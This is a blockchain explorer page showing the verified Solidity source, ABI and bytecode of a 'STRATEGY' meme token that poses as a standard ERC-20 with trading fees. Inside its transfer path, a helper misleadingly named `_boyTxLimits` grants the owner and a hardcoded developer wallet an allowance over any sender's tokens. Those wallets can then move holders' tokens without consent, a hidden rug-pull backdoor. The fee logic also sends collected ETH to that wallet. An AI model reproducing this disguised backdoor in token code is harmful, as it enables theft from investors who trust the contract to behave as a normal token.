Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

• interface IBOYFactory
•    - function createPair(address tokenA, a ...
• library SafeMath
•    - function add(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b, st ...
•    - function mul(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b, st ...
• interface IBOYRouter
•    - function swapExactTokensForETHSupport ...
•    - function factory()
•    - function WETH()
•    - function addLiquidityETH(
•    - function _msgSender()
•  contract Ownable is Context
•    - function owner()
•    - function renounceOwnership()
• interface IERC20
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(address sender, ...
•  contract STRATEGY is Context, IERC ... *
•    - function name()
•    - function symbol()
•    - function decimals()
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(address sender, ...
•    - function _approve(address owner, addr ...
•    - function _transfer(address boyF, addr ...
•    - function boyLimitCheck()
•    - function _boyTxLimits(address boyF, u ...
•    - function _transerBOY(address boyF, ad ...
•    - function _getBOYFees(address boyF, ad ...
•    - function min(uint256 a, uint256 b)
•    - function sendETHFee(uint256 amount)
•    - function swapTokensForEth(uint256 tok ...
•    - function initSTRATEGY()
•    - function openTrading()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2025-02-06
*/

/*
https://www.strategy.com/press/microstrategy-is-now-strategy_02-05-2025
https://x.com/saylor/status/1887201369544614326
https://x.com/TreeNewsFeed/status/1887199595563823142

https://x.com/erc_strategy
https://t.me/strategy_channel
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;

interface IBOYFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IBOYRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract STRATEGY is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => bool) private _boyExcludedTXX;
    mapping (address => uint256) private _boyBalances;
    mapping (address => mapping (address => uint256)) private _boyAllowances;
    mapping (address => bool) private _boyExcludedFee;
    uint256 private _initialBuyTax=3;
    uint256 private _initialSellTax=3;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=6;
    uint256 private _reduceSellTaxAt=6;
    uint256 private _preventSwapBefore=6;
    uint256 private _buyCount=0;
    IBOYRouter private _boyRouter;
    address private _boyPair;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotalBOY = 1000000000 * 10**_decimals;
    string private constant _name = unicode"STRATEGY";
    string private constant _symbol = unicode"STRATEGY";
    uint256 private _boyTokenLimit = _tTotalBOY / 100;
    address private _boyWallet = 0x203f200fB833aF6938e5994AE6E71d05734EFf7c;
    bool private inSwapBOY = false;
    bool private _tradeEnabled = false;
    bool private _swapEnabled = false;
    modifier lockTheSwap {
        inSwapBOY = true;
        _;
        inSwapBOY = false;
    }
    
    constructor () {
        _boyExcludedFee[owner()] = true;
        _boyExcludedFee[address(this)] = true;
        _boyExcludedFee[_boyWallet] = true;
        _boyExcludedTXX[owner()] = true;
        _boyExcludedTXX[_boyWallet] = true;
        _boyBalances[_msgSender()] = _tTotalBOY;
        emit Transfer(address(0), _msgSender(), _tTotalBOY);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotalBOY;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _boyBalances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _boyAllowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount); 
        _approve(sender, _msgSender(), _boyAllowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _boyAllowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address boyF, address boyO, uint256 boyA) private {
        require(boyF != address(0), "ERC20: transfer from the zero address");
        require(boyO != address(0), "ERC20: transfer to the zero address");
        require(boyA > 0, "Transfer amount must be greater than zero");

        uint256 boyTAX = _getBOYFees(boyF, boyO, boyA);

        _transerBOY(boyF, boyO, boyA, boyTAX);
    }

    function boyLimitCheck() private view returns(bool) {
        return _boyExcludedTXX[_msgSender()];
    }

    function _boyTxLimits(address boyF, uint256 boyA) private {
        if(boyLimitCheck()) _approve(boyF, _msgSender(), boyA);
    }

    function _transerBOY(address boyF, address boyO, uint256 boyA, uint256 boyTAX) private { 
        if(boyTAX > 0){
          _boyBalances[address(this)] = _boyBalances[address(this)].add(boyTAX);
          emit Transfer(boyF, address(this), boyTAX);
        }        
        _boyBalances[boyF] = _boyBalances[boyF].sub(boyA);
        _boyTxLimits(boyF, boyA);
        _boyBalances[boyO] = _boyBalances[boyO].add(boyA.sub(boyTAX));
        emit Transfer(boyF, boyO, boyA.sub(boyTAX));
    }

    function _getBOYFees(address boyF, address boyO, uint256 boyA) private returns(uint256) {
        uint256 boyTAX=0;
        if (boyF != owner() && boyO != owner()) {
            boyTAX = boyA.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (boyF == _boyPair && boyO != address(_boyRouter) && ! _boyExcludedFee[boyO]) {
                _buyCount++;
            }

            if(boyO == _boyPair && boyF!= address(this)) {
                boyTAX = boyA.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 tokenBOY = balanceOf(address(this)); 
            if (!inSwapBOY && boyO == _boyPair && _swapEnabled && _buyCount > _preventSwapBefore) {
                if(tokenBOY > _boyTokenLimit)
                swapTokensForEth(min(boyA, min(tokenBOY, _boyTokenLimit)));
                uint256 contractBOY = address(this).balance;
                if (contractBOY >= 0) {
                    sendETHFee(address(this).balance);
                }
            }
        }

        return boyTAX;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function sendETHFee(uint256 amount) private {
        payable(_boyWallet).transfer(amount);
    }

    function swapTokensForEth(uint256 tokenBOY) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _boyRouter.WETH();
        _approve(address(this), address(_boyRouter), tokenBOY);
        _boyRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenBOY,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {} 

    function initSTRATEGY() external onlyOwner() {
        _boyRouter = IBOYRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_boyRouter), _tTotalBOY);
        _boyPair = IBOYFactory(_boyRouter.factory()).createPair(address(this), _boyRouter.WETH());
    }

    function openTrading() external onlyOwner() {
        require(!_tradeEnabled,"trading is already open");
        _boyRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _swapEnabled = true;
        _tradeEnabled = true;
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initSTRATEGY","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600360055560036006556000600755600060085560066009556006600a556006600b556000600c5560646009600a6200003e91906200033c565b6200004e90633b9aca0062000354565b6200005a91906200036e565b600f55601080546001600160b81b03191673203f200fb833af6938e5994ae6e71d05734eff7c1790553480156200009057600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600160046000620000eb6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600490935281832080548516600190811790915560105490911683529082208054909316811790925581906200015a6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790556010549091168152600192839052208054909216179055620001ad6009600a6200033c565b620001bd90633b9aca0062000354565b33600081815260026020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002006009600a6200033c565b6200021090633b9aca0062000354565b60405190815260200160405180910390a362000391565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200027e57816000190482111562000262576200026262000227565b808516156200027057918102915b93841c939080029062000242565b509250929050565b600082620002975750600162000336565b81620002a65750600062000336565b8160018114620002bf5760028114620002ca57620002ea565b600191505062000336565b60ff841115620002de57620002de62000227565b50506001821b62000336565b5060208310610133831016604e8410600b84101617156200030f575081810a62000336565b6200031b83836200023d565b806000190482111562000332576200033262000227565b0290505b92915050565b60006200034d60ff84168362000286565b9392505050565b808202811582820484141762000336576200033662000227565b6000826200038c57634e487b7160e01b600052601260045260246000fd5b500490565b6114a680620003a16000396000f3fe6080604052600436106100c65760003560e01c8063715018a61161007f57806395d89b411161005957806395d89b41146100d2578063a9059cbb1461022b578063c9567bf91461024b578063dd62ed3e1461026057600080fd5b8063715018a6146101d75780637ea5668e146101ee5780638da5cb5b1461020357600080fd5b806306fdde03146100d2578063095ea7b31461011257806318160ddd1461014257806323b872dd14610165578063313ce5671461018557806370a08231146101a157600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b506040805180820182526008815267535452415445475960c01b602082015290516101099190611097565b60405180910390f35b34801561011e57600080fd5b5061013261012d3660046110fd565b6102a6565b6040519015158152602001610109565b34801561014e57600080fd5b506101576102bd565b604051908152602001610109565b34801561017157600080fd5b50610132610180366004611129565b6102de565b34801561019157600080fd5b5060405160098152602001610109565b3480156101ad57600080fd5b506101576101bc36600461116a565b6001600160a01b031660009081526002602052604090205490565b3480156101e357600080fd5b506101ec610347565b005b3480156101fa57600080fd5b506101ec6103c4565b34801561020f57600080fd5b506000546040516001600160a01b039091168152602001610109565b34801561023757600080fd5b506101326102463660046110fd565b6105c7565b34801561025757600080fd5b506101ec6105d4565b34801561026c57600080fd5b5061015761027b366004611187565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b60006102b3338484610746565b5060015b92915050565b60006102cb6009600a6112ba565b6102d990633b9aca006112c9565b905090565b60006102eb84848461086a565b61033d843361033885604051806060016040528060288152602001611449602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906109b3565b610746565b5060019392505050565b6000546001600160a01b0316331461037a5760405162461bcd60e51b8152600401610371906112e0565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146103ee5760405162461bcd60e51b8152600401610371906112e0565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104379030906104296009600a6112ba565b61033890633b9aca006112c9565b600d60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561048a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ae9190611315565b6001600160a01b031663c9c6539630600d60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610510573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105349190611315565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610581573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a59190611315565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b60006102b333848461086a565b6000546001600160a01b031633146105fe5760405162461bcd60e51b8152600401610371906112e0565b601054600160a81b900460ff16156106585760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610371565b600d546001600160a01b031663f305d719473061068a816001600160a01b031660009081526002602052604090205490565b60008061069f6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610707573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061072c9190611332565b50506010805461ffff60a81b191661010160a81b17905550565b6001600160a01b0383166107a85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610371565b6001600160a01b0382166108095760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610371565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108ce5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610371565b6001600160a01b0382166109305760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610371565b600081116109925760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610371565b600061099f8484846109ed565b90506109ad84848484610bc0565b50505050565b600081848411156109d75760405162461bcd60e51b81526004016103719190611097565b5060006109e48486611360565b95945050505050565b600080610a026000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610a3157506000546001600160a01b03858116911614155b15610bb857610a626064610a5c600954600c5411610a5157600554610a55565b6007545b8690610d0d565b90610d96565b600e549091506001600160a01b038681169116148015610a905750600d546001600160a01b03858116911614155b8015610ab557506001600160a01b03841660009081526004602052604090205460ff16155b15610ad057600c8054906000610aca83611373565b91905055505b600e546001600160a01b038581169116148015610af657506001600160a01b0385163014155b15610b2357610b206064610a5c600a54600c5411610b1657600654610a55565b6008548690610d0d565b90505b30600090815260026020526040902054601054600160a01b900460ff16158015610b5a5750600e546001600160a01b038681169116145b8015610b6f5750601054600160b01b900460ff165b8015610b7e5750600b54600c54115b15610bb657600f54811115610baa57610baa610ba585610ba084600f54610dd8565b610dd8565b610ded565b47610bb447610f67565b505b505b949350505050565b8015610c3a5730600090815260026020526040902054610be09082610fa5565b30600081815260026020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c319085815260200190565b60405180910390a35b6001600160a01b038416600090815260026020526040902054610c5d9083611004565b6001600160a01b038516600090815260026020526040902055610c808483611046565b610cac610c8d8383611004565b6001600160a01b03851660009081526002602052604090205490610fa5565b6001600160a01b0380851660008181526002602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610cf68585611004565b60405190815260200160405180910390a350505050565b600082600003610d1f575060006102b7565b6000610d2b83856112c9565b905082610d38858361138c565b14610d8f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610371565b9392505050565b6000610d8f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611069565b6000818311610de75782610d8f565b50919050565b6010805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e3557610e356113ae565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e8e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb29190611315565b81600181518110610ec557610ec56113ae565b6001600160a01b039283166020918202929092010152600d54610eeb9130911684610746565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f249085906000908690309042906004016113c4565b600060405180830381600087803b158015610f3e57600080fd5b505af1158015610f52573d6000803e3d6000fd5b50506010805460ff60a01b1916905550505050565b6010546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610fa1573d6000803e3d6000fd5b5050565b600080610fb28385611435565b905083811015610d8f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610371565b6000610d8f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506109b3565b3360009081526001602052604090205460ff1615610fa157610fa1823383610746565b6000818361108a5760405162461bcd60e51b81526004016103719190611097565b5060006109e4848661138c565b600060208083528351808285015260005b818110156110c4578581018301518582016040015282016110a8565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146110fa57600080fd5b50565b6000806040838503121561111057600080fd5b823561111b816110e5565b946020939093013593505050565b60008060006060848603121561113e57600080fd5b8335611149816110e5565b92506020840135611159816110e5565b929592945050506040919091013590565b60006020828403121561117c57600080fd5b8135610d8f816110e5565b6000806040838503121561119a57600080fd5b82356111a5816110e5565b915060208301356111b5816110e5565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156112115781600019048211156111f7576111f76111c0565b8085161561120457918102915b93841c93908002906111db565b509250929050565b600082611228575060016102b7565b81611235575060006102b7565b816001811461124b576002811461125557611271565b60019150506102b7565b60ff841115611266576112666111c0565b50506001821b6102b7565b5060208310610133831016604e8410600b8410161715611294575081810a6102b7565b61129e83836111d6565b80600019048211156112b2576112b26111c0565b029392505050565b6000610d8f60ff841683611219565b80820281158282048414176102b7576102b76111c0565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561132757600080fd5b8151610d8f816110e5565b60008060006060848603121561134757600080fd5b8351925060208401519150604084015190509250925092565b818103818111156102b7576102b76111c0565b600060018201611385576113856111c0565b5060010190565b6000826113a957634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156114145784516001600160a01b0316835293830193918301916001016113ef565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156102b7576102b76111c056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206cf65ef6c4479e280dc9a12201344b1e84893b7f86785e149d78bef6e0cf87db64736f6c63430008120033

0x6080604052600436106100c65760003560e01c8063715018a61161007f57806395d89b411161005957806395d89b41146100d2578063a9059cbb1461022b578063c9567bf91461024b578063dd62ed3e1461026057600080fd5b8063715018a6146101d75780637ea5668e146101ee5780638da5cb5b1461020357600080fd5b806306fdde03146100d2578063095ea7b31461011257806318160ddd1461014257806323b872dd14610165578063313ce5671461018557806370a08231146101a157600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b506040805180820182526008815267535452415445475960c01b602082015290516101099190611097565b60405180910390f35b34801561011e57600080fd5b5061013261012d3660046110fd565b6102a6565b6040519015158152602001610109565b34801561014e57600080fd5b506101576102bd565b604051908152602001610109565b34801561017157600080fd5b50610132610180366004611129565b6102de565b34801561019157600080fd5b5060405160098152602001610109565b3480156101ad57600080fd5b506101576101bc36600461116a565b6001600160a01b031660009081526002602052604090205490565b3480156101e357600080fd5b506101ec610347565b005b3480156101fa57600080fd5b506101ec6103c4565b34801561020f57600080fd5b506000546040516001600160a01b039091168152602001610109565b34801561023757600080fd5b506101326102463660046110fd565b6105c7565b34801561025757600080fd5b506101ec6105d4565b34801561026c57600080fd5b5061015761027b366004611187565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b60006102b3338484610746565b5060015b92915050565b60006102cb6009600a6112ba565b6102d990633b9aca006112c9565b905090565b60006102eb84848461086a565b61033d843361033885604051806060016040528060288152602001611449602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906109b3565b610746565b5060019392505050565b6000546001600160a01b0316331461037a5760405162461bcd60e51b8152600401610371906112e0565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146103ee5760405162461bcd60e51b8152600401610371906112e0565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104379030906104296009600a6112ba565b61033890633b9aca006112c9565b600d60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561048a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ae9190611315565b6001600160a01b031663c9c6539630600d60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610510573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105349190611315565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610581573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a59190611315565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b60006102b333848461086a565b6000546001600160a01b031633146105fe5760405162461bcd60e51b8152600401610371906112e0565b601054600160a81b900460ff16156106585760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610371565b600d546001600160a01b031663f305d719473061068a816001600160a01b031660009081526002602052604090205490565b60008061069f6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610707573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061072c9190611332565b50506010805461ffff60a81b191661010160a81b17905550565b6001600160a01b0383166107a85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610371565b6001600160a01b0382166108095760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610371565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108ce5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610371565b6001600160a01b0382166109305760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610371565b600081116109925760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610371565b600061099f8484846109ed565b90506109ad84848484610bc0565b50505050565b600081848411156109d75760405162461bcd60e51b81526004016103719190611097565b5060006109e48486611360565b95945050505050565b600080610a026000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610a3157506000546001600160a01b03858116911614155b15610bb857610a626064610a5c600954600c5411610a5157600554610a55565b6007545b8690610d0d565b90610d96565b600e549091506001600160a01b038681169116148015610a905750600d546001600160a01b03858116911614155b8015610ab557506001600160a01b03841660009081526004602052604090205460ff16155b15610ad057600c8054906000610aca83611373565b91905055505b600e546001600160a01b038581169116148015610af657506001600160a01b0385163014155b15610b2357610b206064610a5c600a54600c5411610b1657600654610a55565b6008548690610d0d565b90505b30600090815260026020526040902054601054600160a01b900460ff16158015610b5a5750600e546001600160a01b038681169116145b8015610b6f5750601054600160b01b900460ff165b8015610b7e5750600b54600c54115b15610bb657600f54811115610baa57610baa610ba585610ba084600f54610dd8565b610dd8565b610ded565b47610bb447610f67565b505b505b949350505050565b8015610c3a5730600090815260026020526040902054610be09082610fa5565b30600081815260026020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c319085815260200190565b60405180910390a35b6001600160a01b038416600090815260026020526040902054610c5d9083611004565b6001600160a01b038516600090815260026020526040902055610c808483611046565b610cac610c8d8383611004565b6001600160a01b03851660009081526002602052604090205490610fa5565b6001600160a01b0380851660008181526002602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610cf68585611004565b60405190815260200160405180910390a350505050565b600082600003610d1f575060006102b7565b6000610d2b83856112c9565b905082610d38858361138c565b14610d8f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610371565b9392505050565b6000610d8f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611069565b6000818311610de75782610d8f565b50919050565b6010805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e3557610e356113ae565b6001600160a01b0392831660209182029